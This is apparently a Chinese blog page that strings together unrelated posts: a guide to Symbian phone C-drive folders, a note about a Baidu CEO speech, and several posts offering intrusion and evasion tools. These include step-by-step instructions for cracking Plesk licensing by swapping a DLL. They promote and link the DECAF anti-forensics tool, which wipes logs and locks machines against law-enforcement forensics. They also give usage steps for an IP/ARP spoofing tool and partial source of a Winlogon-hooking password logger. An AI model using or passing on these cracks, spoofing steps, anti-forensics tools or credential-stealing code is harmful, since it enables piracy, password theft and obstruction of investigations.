Chinadu`s Blog

1. C盘文件的具体介绍
C盘文件的具体介绍·（E盘文件的原理和C盘基本一样）·
Images 图像，图片存储文件夹
Sounds 声音片段，包含两个子文件夹
Sounds/Simple 铃声
Sounds/Digital 数字声音
Videos 视频片段，视频文件存储文件夹
Others 其他
System 是手机安装文件的系统文件夹下面对它里面的文件和文件夹做下具体的介绍：
Apps 存放的是安装软件程序的文件夹。
Apps/Phone 是更改网标后形成的文件夹，此目录中还有oplogo的子目录，bmp文件就存在这个目录里，删除这个文件就可以恢复手机默认的网标。
bootdata 存放的是手机导入数据，最好不要删除或者修改里面的文件。
Data 存放的是如ini、dat、cdr等后缀的文件，这些是程序所保存设置的数据，最好不要删除或者修改里面的文件。
dataNotepad.dat 存放的是记事本中的内容。
databackgroundimage.mbm 存放的是桌面墙纸图片文件。
dataApplications.dat 存放的是程序数据文件。
datawapstore 存放的是用WAP上网时的一些设定和网页缓存。
systemDataCLOCKAPP.dat 存放的是时钟设定存档文件。
systemDataCntModel.ini 存放的是电话本初始化文件。
systemDataContacts.cdb 存放的是电话本数据文件。
systemDataLogdbu.dat 手机的通讯数据文件。
systemDatamedialPlayer.dat 自带的RealOne播放机。
systemDatamms_seting.Dat 彩信的设置。
systemDataPinboard 捷径。
systemDataCalcsoft 自带的计算器。
systemDataCalendar 自带的日历。
DataTemplate.n01 存放的是手机短信信模版文件。
DataUnitConverter.int 手存放的是单位转换器初始化文件。
DataBookmarks.db 存放的是书签数据文件,用来记录WAP地址。
DataCACerts.dat 存放的是安装各种软件的证书文件。
Mail 目录下存放着短消息、彩信、电子邮件以及相关的一些设置文件。
SKINS 存放的是主题文件。
Shareddata 存放的是一些程序运行后的写入设置数据。
Temp和YReg 存放的是些临时目录。
Libs 目录里存放着软件相关的dll文件。
midp 存放的是安装的java程序。
Mtm 是有关信息设置的目录
Programs 存放的是一些自动加载的程序文件。
Recogs 存放的是关联方式文件的目录。
Schedules 存放的是一些计划任务类的文件。
favourites 存放的是收藏夹的文件，可移动到E盘的System中，收藏夹是不会受到影响。
install 存放的是软件的安装记录，其中install log文件可以删除，而带有sis后缀的文件最好不要删除，以免以后不能在程序管理里看到并删除程序了。
Magic101 在安装MGS平台的程序以后以后才会生成。
System.ini 系统初始化配置文件，可以删除，但是下次开机使用程序，系统还会再次生成。
Backup.xml 存放的是备份数据
**注意** C盘里面大多是系统文件，不知道它是究竟什么，以及具体的作用是什么，最好不要删除，以免删错了以后，导致手机的一些程序不能正常运行。
阅读全文...

网上找了半天plesk的破解版没找到能用的，最后专门找的国外站点，马上就搜到了。不过还是得修改一下破解文件，不然会每天半夜把你的管理员账户密码发 到一个邮箱pleskcrack@mail.ru。破解文件我已经修改过了。这儿提供下载，见最后的链接。破解方法是安装完原版9.0.1后，停止 plesk运行（直到显示stopped）。然后进入C:Program FilesParallelsPleskadminmodules，备份php_psakey.dll为php_psakey.dll.bak， 然后把破解文件复制进去就可以了。此破解版的plesk的许可证除了不支持MPC功能外，其他都没问题的。
下载地址：

阅读全文...

Md5 cracker online

Download:

From decafme.org ：

DECAF is a counter intelligence tool specifically created around the obstruction of the well known Microsoft product COFEE used by law enforcement around the world.

DECAF provides real-time monitoring for COFEE signatures on USB devices and running applications. Upon finding the presence of COFEE, DECAF performs numerous user-defined processes; including COFEE log clearing, ejecting USB devices, drive-by dropper, and an extensive list of Lockdown Mode settings. The Lockdown mode gives the user an automated approach to locking down the machine at the first sign of unusual law enforcement activity.

DECAF is highly configurable giving the user complete control to on-the-fly scenarios. In a moments notice, almost every piece of hardware can be disabled and pre-defined files can be deleted in the background. DECAF also gives the user an opportunity to simulate COFEE's presence by sending the application into a 'Spill the cofee' type mode. Simulation gives the user an opportunity to test his or her configuration before going live.

Future versions will have text message and email triggers so in case the computer needs to enter into lockdown mode the user can do it remotely. It will also have notification services where in the case of an emergency, someone can be notified (private torrent tracker admins). DECAF's next release is going to be available in a more light-weight version and/or a windows service.

反取证软件DECAF(全名是Detect and Eliminate Computer Assisted Forensics，检测和清除计算机法庭科学证据提取器)。DECAF程序只有181KB，它能删除COFEE的临时文件，杀死其进程，抹掉COFEE 的所有log，禁用USB，为了让COFEE无法追踪它甚至能制造出多种多样的欺骗性的MAC地址。需要提醒的是，DECAF没有提供源代码，所以我们并 不知道它到底对计算机干了什么。DECAF的开发者声称，未来的版本将允许电脑用户通过电子邮件或短消息远程关闭电脑，如果探测到电脑落入执法机关之手的 话。如果情况紧急它还能向同伴发出警告通知。

官方：http://www.decafme.org/

Download:

http://thepiratebay.org/torrent/5238072/DECAF-SOLDIERX.rar or
http://www.multiupload.com/88TEOEYCSZ

来自：瓜园

不敢在服务器上乱跑别人的程序，自己写了个。

我的规则比较搓，不过支持自定义，全部正则。

代码太丑陋就不发了，想改功能的自己逆一下。

下载地址：http://www.4shell.org/upload/8d6c2ddcd7a296f68c102906.rar

软件说明：
交换环境下的IP欺骗工具，本工具只供安全测试，严禁用于非法用途！网络环境参考http://icylife.net/yunshu/show.php?id=732

使用方法：
1.在参数设置中选择好工作网卡；
2.在将发送到 中填入一个不存在的IP地址例如 193.111.111.111
3.在伪装成 中填入要伪装的IP地址 例如 10.1.131.2；
4.在转发到中 填入真实的服务器地址 例如10.1.131.6；
5.应用程序访问2中的IP地址 例如正常访问时 http://10.1.131.6/ip.asp 此时应访问http://193.111.111.111/ip.asp

注意：需安装winpcap ，需安装.net framework 2.0，不支持无线网卡，网络环境可进行ARP欺骗。
阅读全文...

作者：LZX
部分源码如下，完整源码见文章末尾：

#include "stdafx.h"
#include
#include "debugoutput.h"
#include "hookWinlogon.h"

//CComModule _Module;
HMODULE g_hIns;

// BEGIN_OBJECT_MAP(ObjectMap)
// END_OBJECT_MAP()

/////////////////////////////////////////////////////////////////////////////
// DLL Entry Point

extern "C"
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
g_hIns = (HMODULE)hInstance;

}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE; // ok
}
/*
/////////////////////////////////////////////////////////////////////////////
// Used to determine whether the DLL can be unloaded by OLE

STDAPI DllCanUnloadNow(void)
{
//MessageBox(0, _T("a"), _T("b"), 0);
return S_OK;
}

/////////////////////////////////////////////////////////////////////////////
// Returns a class factory to create an object of the requested type

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{

return E_NOINTERFACE;
}

/////////////////////////////////////////////////////////////////////////////
// DllRegisterServer - Adds entries to the system registry

STDAPI DllRegisterServer(void)
{
return S_OK;
}

/////////////////////////////////////////////////////////////////////////////
// DllUnregisterServer - Removes entries from the system registry

STDAPI DllUnregisterServer(void)
{
return S_OK;
}
*/
HRESULT WINAPI DllInstall( BOOL bInstall,
LPCWSTR pszCmdLine
)
{
CHookWinlogon *pIns = new CHookWinlogon;

if (!pIns->Create(pszCmdLine))
return E_UNEXPECTED;

return S_OK;
}

下载：

WinPswLogger_src.rar

以下为李彦宏哥大演讲视频,拍摄自一位哥大的中国学生。
2009年9月17日，百度总裁李彦宏（Robin Li）前往纽约，为美国哥伦比亚大学的广大中国留学生进行精彩演讲:
阅读全文...